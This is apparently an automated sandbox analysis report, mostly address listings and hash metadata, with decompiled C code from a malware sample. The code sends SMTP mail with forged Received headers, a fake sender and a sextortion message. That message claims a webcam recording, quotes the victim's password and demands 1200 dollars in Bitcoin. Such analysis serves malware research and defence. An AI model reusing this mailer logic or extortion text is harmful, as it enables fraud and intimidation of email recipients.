                                                                                                                                                                                                                                                                                                                                                      0x010a1d18
                                                                                                                                                                                                                                                                                                                                                      0x010a1d18
                                                                                                                                                                                                                                                                                                                                                      0x010a1d23
                                                                                                                                                                                                                                                                                                                                                      0x010a1d28
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2d
                                                                                                                                                                                                                                                                                                                                                      0x010a1d3b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22f3
                                                                                                                                                                                                                                                                                                                                                      0x010a1b44
                                                                                                                                                                                                                                                                                                                                                      0x010a1b49
                                                                                                                                                                                                                                                                                                                                                      0x010a1b4c
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a1b60
                                                                                                                                                                                                                                                                                                                                                      0x010a1b66
                                                                                                                                                                                                                                                                                                                                                      0x010a1b75
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7a
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7d
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1b86
                                                                                                                                                                                                                                                                                                                                                      0x010a1b89
                                                                                                                                                                                                                                                                                                                                                      0x010a1b98
                                                                                                                                                                                                                                                                                                                                                      0x010a1b9e
                                                                                                                                                                                                                                                                                                                                                      0x010a1ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bab
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1bca
                                                                                                                                                                                                                                                                                                                                                      0x010a1bcc
                                                                                                                                                                                                                                                                                                                                                      0x010a1c01
                                                                                                                                                                                                                                                                                                                                                      0x010a1c07
                                                                                                                                                                                                                                                                                                                                                      0x010a1c0a
                                                                                                                                                                                                                                                                                                                                                      0x010a1bce
                                                                                                                                                                                                                                                                                                                                                      0x010a1bdf
                                                                                                                                                                                                                                                                                                                                                      0x010a1be5
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1c22
                                                                                                                                                                                                                                                                                                                                                      0x010a1c27
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1c3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c4d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c62
                                                                                                                                                                                                                                                                                                                                                      0x010a1c68
                                                                                                                                                                                                                                                                                                                                                      0x010a1c77
                                                                                                                                                                                                                                                                                                                                                      0x010a1c7e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c84
                                                                                                                                                                                                                                                                                                                                                      0x010a1c87
                                                                                                                                                                                                                                                                                                                                                      0x010a1c8d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9f
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca7
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cb7
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cdc
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce2
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cf4
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfc
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfe
                                                                                                                                                                                                                                                                                                                                                      0x010a1d0c
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d65
                                                                                                                                                                                                                                                                                                                                                      0x010a1d6b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d79
                                                                                                                                                                                                                                                                                                                                                      0x010a1d86
                                                                                                                                                                                                                                                                                                                                                      0x010a1d8e
                                                                                                                                                                                                                                                                                                                                                      0x010a1d97
                                                                                                                                                                                                                                                                                                                                                      0x010a1da6
                                                                                                                                                                                                                                                                                                                                                      0x010a1dad
                                                                                                                                                                                                                                                                                                                                                      0x010a1db2
                                                                                                                                                                                                                                                                                                                                                      0x010a1db3
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1dbe
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dcf
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1de0
                                                                                                                                                                                                                                                                                                                                                      0x010a1de5
                                                                                                                                                                                                                                                                                                                                                      0x010a1de6
                                                                                                                                                                                                                                                                                                                                                      0x010a1deb
                                                                                                                                                                                                                                                                                                                                                      0x010a1e08
                                                                                                                                                                                                                                                                                                                                                      0x010a1e0f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e15
                                                                                                                                                                                                                                                                                                                                                      0x010a1e18
                                                                                                                                                                                                                                                                                                                                                      0x010a1e1e
                                                                                                                                                                                                                                                                                                                                                      0x010a1e2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e30
                                                                                                                                                                                                                                                                                                                                                      0x010a1e38
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e48
                                                                                                                                                                                                                                                                                                                                                      0x010a1e61
                                                                                                                                                                                                                                                                                                                                                      0x010a1e6a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e78
                                                                                                                                                                                                                                                                                                                                                      0x010a1e7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e85
                                                                                                                                                                                                                                                                                                                                                      0x010a1e88
                                                                                                                                                                                                                                                                                                                                                      0x010a1e95
                                                                                                                                                                                                                                                                                                                                                      0x010a1e9c
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea0
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eaa
                                                                                                                                                                                                                                                                                                                                                      0x010a1ec4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ecb
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed1
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed4
                                                                                                                                                                                                                                                                                                                                                      0x010a1eda
                                                                                                                                                                                                                                                                                                                                                      0x010a1ee8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eec
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef6
                                                                                                                                                                                                                                                                                                                                                      0x010a1f04
                                                                                                                                                                                                                                                                                                                                                      0x010a1f14
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f23
                                                                                                                                                                                                                                                                                                                                                      0x010a1f2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f35
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f57
                                                                                                                                                                                                                                                                                                                                                      0x010a1f5e
                                                                                                                                                                                                                                                                                                                                                      0x010a1f64
                                                                                                                                                                                                                                                                                                                                                      0x010a1f67
                                                                                                                                                                                                                                                                                                                                                      0x010a1f6d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f87
                                                                                                                                                                                                                                                                                                                                                      0x010a1f89
                                                                                                                                                                                                                                                                                                                                                      0x010a1f97
                                                                                                                                                                                                                                                                                                                                                      0x010a1faa
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb9
                                                                                                                                                                                                                                                                                                                                                      0x010a1fc0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fcb
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1fe3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fea
                                                                                                                                                                                                                                                                                                                                                      0x010a2005
                                                                                                                                                                                                                                                                                                                                                      0x010a2013
                                                                                                                                                                                                                                                                                                                                                      0x010a201a
                                                                                                                                                                                                                                                                                                                                                      0x010a2020
                                                                                                                                                                                                                                                                                                                                                      0x010a2023
                                                                                                                                                                                                                                                                                                                                                      0x010a2029
                                                                                                                                                                                                                                                                                                                                                      0x010a2037
                                                                                                                                                                                                                                                                                                                                                      0x010a203b
                                                                                                                                                                                                                                                                                                                                                      0x010a2043
                                                                                                                                                                                                                                                                                                                                                      0x010a2045
                                                                                                                                                                                                                                                                                                                                                      0x010a205a
                                                                                                                                                                                                                                                                                                                                                      0x010a205e
                                                                                                                                                                                                                                                                                                                                                      0x010a2066
                                                                                                                                                                                                                                                                                                                                                      0x010a2068
                                                                                                                                                                                                                                                                                                                                                      0x010a2081
                                                                                                                                                                                                                                                                                                                                                      0x010a2089
                                                                                                                                                                                                                                                                                                                                                      0x010a208b
                                                                                                                                                                                                                                                                                                                                                      0x010a20a7
                                                                                                                                                                                                                                                                                                                                                      0x010a20b4
                                                                                                                                                                                                                                                                                                                                                      0x010a20cf
                                                                                                                                                                                                                                                                                                                                                      0x010a20e3
                                                                                                                                                                                                                                                                                                                                                      0x010a20f0
                                                                                                                                                                                                                                                                                                                                                      0x010a2103
                                                                                                                                                                                                                                                                                                                                                      0x010a210a
                                                                                                                                                                                                                                                                                                                                                      0x010a2117
                                                                                                                                                                                                                                                                                                                                                      0x010a2146
                                                                                                                                                                                                                                                                                                                                                      0x010a2153
                                                                                                                                                                                                                                                                                                                                                      0x010a2182
                                                                                                                                                                                                                                                                                                                                                      0x010a218f
                                                                                                                                                                                                                                                                                                                                                      0x010a21a7
                                                                                                                                                                                                                                                                                                                                                      0x010a21ab
                                                                                                                                                                                                                                                                                                                                                      0x010a21b3
                                                                                                                                                                                                                                                                                                                                                      0x010a21b5
                                                                                                                                                                                                                                                                                                                                                      0x010a21ca
                                                                                                                                                                                                                                                                                                                                                      0x010a21e5
                                                                                                                                                                                                                                                                                                                                                      0x010a21f9
                                                                                                                                                                                                                                                                                                                                                      0x010a2206
                                                                                                                                                                                                                                                                                                                                                      0x010a2235
                                                                                                                                                                                                                                                                                                                                                      0x010a2242
                                                                                                                                                                                                                                                                                                                                                      0x010a2271
                                                                                                                                                                                                                                                                                                                                                      0x010a2279
                                                                                                                                                                                                                                                                                                                                                      0x010a2292
                                                                                                                                                                                                                                                                                                                                                      0x010a22a6
                                                                                                                                                                                                                                                                                                                                                      0x010a22b0
                                                                                                                                                                                                                                                                                                                                                      0x010a22bb
                                                                                                                                                                                                                                                                                                                                                      0x010a22c3
                                                                                                                                                                                                                                                                                                                                                      0x010a22c5
                                                                                                                                                                                                                                                                                                                                                      0x010a22d0
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22d9
                                                                                                                                                                                                                                                                                                                                                      0x010a22e4
                                                                                                                                                                                                                                                                                                                                                      0x010a22ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a22f8
                                                                                                                                                                                                                                                                                                                                                      0x010a2301
                                                                                                                                                                                                                                                                                                                                                      0x010a230a
                                                                                                                                                                                                                                                                                                                                                      0x010a2314
                                                                                                                                                                                                                                                                                                                                                      0x010a2320
                                                                                                                                                                                                                                                                                                                                                      0x010a2320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: lstrlenA.KERNEL32(?), ref: 010A112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: send.WS2_32(?,?,000000FF,00000000), ref: 010A1144
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 010A230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 010A2314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: closesocketlstrlensendshutdown
                                                                                                                                                                                                                                                                                                                                                      • String ID: DATA
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 317823648-550793329
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 505a69ae1683633eb5016899f98d0c695960761b7c10fbbc3115167badd2e554
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e50c52b6792861a020c6c58a2656b79e9ca21a9b8e470355dc03ab26a3e3c7b9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 505a69ae1683633eb5016899f98d0c695960761b7c10fbbc3115167badd2e554
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7001A2B5D00319EFDF10DBE8CC49BEEB7B4BB08305F8002A9E595B6280E7785454CB61
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A22D9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E010A22D9(void* __eflags) {
				intOrPtr _t175;
				char* _t176;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t202;

				L0:
				while(1) {
					L0:
					E010A1120( *((intOrPtr*)(_t197 - 0x1c)), "QUIT", 0xffffffff); // executed
					_t200 = _t199 + 0xc;
					 *(_t197 - 0x20) = 8;
					L48:
					while( *(_t197 - 0x20) != 0 &&  *(_t197 - 0x20) != 8) {
						_t175 = E010A1160( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490, 0x400); // executed
						_t202 = _t200 + 0xc;
						 *((intOrPtr*)(_t197 - 0x90)) = _t175;
						if( *((intOrPtr*)(_t197 - 0x90)) != 0) {
							L5:
							 *((char*)(_t197 +  *((intOrPtr*)(_t197 - 0x90)) - 0x490)) = 0;
							_t176 = E010A11C0(_t197 - 0x490);
							_t200 = _t202 + 4;
							__eflags = _t176;
							if(_t176 != 0) {
								L7:
								 *(_t197 - 0x758) =  *(_t197 - 0x20);
								 *(_t197 - 0x758) =  *(_t197 - 0x758) - 1;
								__eflags =  *(_t197 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t197 - 0x758) * 4 +  &M010A2324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t179 = StrStrA(_t197 - 0x490);
										__eflags = _t179;
										if(_t179 == 0) {
											_t180 = wsprintfA(_t197 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t180;
										} else {
											_t183 = wsprintfA(_t197 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t183;
										}
										_t182 = E010A1120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *(_t197 - 0x494)); // executed
										_t200 = _t203 + 0xc;
										__eflags = _t182;
										if(_t182 != 0) {
											 *(_t197 - 0x20) = 3;
										} else {
											 *(_t197 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E010A18D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L25:
										__ecx = __ebp - 0x658;
										E010A1320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E010A1490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E010A1490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t59 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t63 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t67 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t71 = __eax % 0xd2;
										E010A1390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t71 + 1, _t67 + 1, _t63 + 1, _t59 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E010A1320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E010A1320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E010A1320(__ecx, 6, __ecx) = E010A1320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E010A1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E010A1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
